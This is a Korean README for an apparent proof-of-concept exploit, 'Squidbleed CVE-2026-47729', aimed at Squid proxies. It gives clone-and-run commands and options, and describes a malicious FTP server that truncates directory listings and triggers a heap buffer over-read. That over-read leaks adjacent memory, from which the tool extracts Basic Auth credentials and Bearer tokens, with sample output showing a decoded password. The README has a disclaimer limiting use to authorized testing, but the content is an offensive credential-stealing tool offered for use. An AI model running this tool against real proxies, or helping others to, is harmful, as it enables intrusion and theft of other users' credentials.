---

✨ 기능

• 단일 파일 PoC — 종속성 없음
• NetWare 배너를 모방하고 LIST 응답을 잘라내는 악의적인 FTP 서버
• Basic Auth 및 Bearer 토큰의 실시간 탐지 및 디코딩
• 더 빠른 유출을 위한 멀티스레드 힙 스프레이
• 실시간 통계가 포함된 깔끔하고 컬러화된 콘솔 출력

---

🚀 빠른 시작

git clone https://github.com/0xBlackash/CVE-2026-47729.git
cd CVE-2026-47729

python3 CVE-2026-47729.py --proxy 127.0.0.1:3128

명령줄 옵션

인자	기본값	설명
--proxy	127.0.0.1:3128	대상 Squid 프록시 (호스트:포트)
--ftp-port	2222	로컬 악의적 FTP 서버 포트
-t, --threads	4	동시 폴링 스레드 수

---

📸 예상 출력

[PoC] Squidbleed CVE-2026-47729 by Ashraf Zaryouh (0xBlackash)

[ 14.78s] [BASIC] cGFzc3dvcmQxMjM6c2VjcmV0
              decoded = admin:password123

[ 18.33s] [BEARER] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

---

🛠️ 작동 방식

1. 잘린 디렉토리 목록을 보내는 악의적인 FTP 서버를 시작합니다.
2. FTP URL을 통해 반복적으로 Squid에 연결을 강제합니다.
3. 힙 버퍼 오버리드를 유발하여 인접 메모리를 누출합니다.
4. 누출된 데이터에서 자격 증명과 토큰을 추출합니다.

---

⚠️ 면책 조항

이 PoC는 교육 및 승인된 테스트 목적으로만 제공됩니다.
소유하거나 테스트 권한이 있는 시스템에서만 책임감 있게 사용하십시오.

---